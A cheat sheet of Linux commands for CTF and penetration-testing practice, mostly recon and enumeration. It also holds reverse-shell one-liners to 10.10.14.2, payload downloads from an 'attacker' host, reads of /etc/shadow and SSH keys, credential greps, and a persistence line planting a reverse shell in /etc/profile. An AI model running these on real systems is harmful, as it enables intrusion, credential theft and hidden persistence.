Linux Commands 4 Hackers

Linux Commands for Hackers — Operator Command Arsenal

---

I. 🧩 Reconnaissance & System Discovery

🧠 Basic Info

whoami               # current user
id                   # UID, GID, groups
hostname             # machine name
uname -a             # kernel info
cat /etc/*release    # distro info
uptime               # system uptime

⚙️ Hardware & Environment

lscpu                # CPU info
lsblk                # block devices
df -hT               # disks + types
free -h              # memory
lspci / lsusb        # hardware enumeration
dmidecode            # BIOS, manufacturer info

💡 Network Recon

ip a                 # interfaces & IPs
ip r                 # routing table
netstat -tulnp       # open ports (deprecated)
ss -tulnp            # preferred socket view
arp -a               # ARP cache
ifconfig / iwconfig  # interface info (legacy)
route -n             # routing table

---

II. 🧭 Enumeration & Privilege Escalation Aids

🧠 User & Group Enumeration

cat /etc/passwd | cut -d: -f1
grep -i "sudo" /etc/group
getent passwd root

🔒 Sudo Privileges

sudo -l
sudo -ll | grep "NOPASSWD"

⚙️ Cronjobs & Timers

cat /etc/crontab
ls -la /etc/cron.*
systemctl list-timers

🔑 Files with SUID/SGID Bits

find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null

🧠 Writable Directories

find / -writable -type d 2>/dev/null

---

III. 🧩 File & Data Discovery

🔍 File Search

find / -name "flag*" 2>/dev/null
find /home -iname "*.txt"

🔑 Credential Patterns

grep -i -r "password" /etc 2>/dev/null
grep -i "pass\|secret\|token" -r /home 2>/dev/null

📜 Configs & History

cat ~/.bash_history
cat ~/.ssh/id_rsa
cat ~/.ssh/known_hosts
ls -la /etc/ssh/
cat /var/log/auth.log | tail -n 20

---

IV. 🧰 File Operations & Manipulation

⚙️ Basic Ops

cp, mv, rm, touch, mkdir, rmdir, ln -s

🧱 Text Handling

cat, less, head, tail, sort, uniq, cut, awk, sed

🧮 Count & Filter

wc -l file.txt
grep "pattern" file.txt
grep -r "pattern" /etc/
awk -F: '{print $1,$3,$6}' /etc/passwd

---

V. 🛰️ Networking & Remote Access

🌐 Connections

ping -c 4 target
traceroute target
curl -I https://target
wget https://target/file

🔁 Tunnels

ssh user@host
scp file user@host:/path/
rsync -avz /dir/ user@host:/dest/

🔄 Port Forwarding

ssh -L 8080:127.0.0.1:80 user@target

⚙️ Reverse Shells (Manual)

bash -i >& /dev/tcp/10.10.14.2/4444 0>&1
nc -e /bin/sh 10.10.14.2 4444
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.14.2",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

---

VI. 🧱 Privilege Escalation – Enumeration Shortcuts

🔎 Kernel Exploits

uname -r
searchsploit linux kernel 4.4

🧠 Capabilities

getcap -r / 2>/dev/null

🔐 Password Files

cat /etc/shadow
sudo cat /etc/shadow

💥 Misconfig Escalation

find / -type f -perm /6000 2>/dev/null
find / -type f -name "*.sh" -writable

---

VII. 🧩 Process & Service Inspection

🔎 Running Processes

ps aux
top / htop
pgrep -a apache

⚙️ Services

systemctl list-units --type service
service --status-all

🧠 Background Jobs

jobs
fg %1
bg %1

---

VIII. 🧱 Archive & Transfer Arsenal

tar -czf archive.tar.gz /dir/
tar -xzf archive.tar.gz
zip -r files.zip /folder/
unzip files.zip
scp files.zip user@host:/tmp
wget http://attacker/file.sh -O /tmp/file.sh
curl -o /tmp/file.sh http://attacker/file.sh
base64 file > file.b64
base64 -d file.b64 > file

---

IX. 🧠 Quick Shell Tricks

alias ll='ls -la'
history | grep ssh
export PATH=/usr/local/bin:/usr/bin:/bin
strings binary | grep flag
file /bin/ls
ldd /bin/bash

---

X. ⚡ Process Injection & Debugging (Legal/Lab Only)

strace -f ./binary
ltrace ./program
gdb -q ./binary
readelf -a binary
objdump -d binary | less

---

XI. 📜 Persistence & Defense Evasion (Lab Simulation)

echo "@reboot /home/user/script.sh" | crontab -
echo "bash -i >& /dev/tcp/10.10.14.2/4444 0>&1" > /etc/profile

---

XII. 🔥 Operators’ Reference Table

Category	Command	Description
Recon	uname -a, id, whoami	System, user, kernel
Network	ss -tulnp, ip a	Socket + IP mapping
Files	find / -name flag*	Quick search
PrivEsc	sudo -l, getcap -r /	Check escalation paths
Persistence	crontab -l, /etc/rc.local	Scheduled persistence
Transfer	scp, curl, wget, nc	Move files quickly
Debug	strace, ltrace, gdb	Reverse/debug binaries

---

XIII. 🧠 CTF Workflow Snippets

Privilege escalation checklist

whoami && id
sudo -l
ls -la /home
find / -perm -4000 2>/dev/null
cat /etc/crontab

Flag hunting

find / -type f -iname "*flag*" 2>/dev/null
grep -r "flag{" /home /opt 2>/dev/null

Enumeration summary script

echo "[+] USER:" $(whoami)
echo "[+] HOST:" $(hostname)
echo "[+] KERNEL:" $(uname -r)
sudo -l 2>/dev/null
find / -perm -4000 -type f 2>/dev/null | tee /tmp/suid.txt

---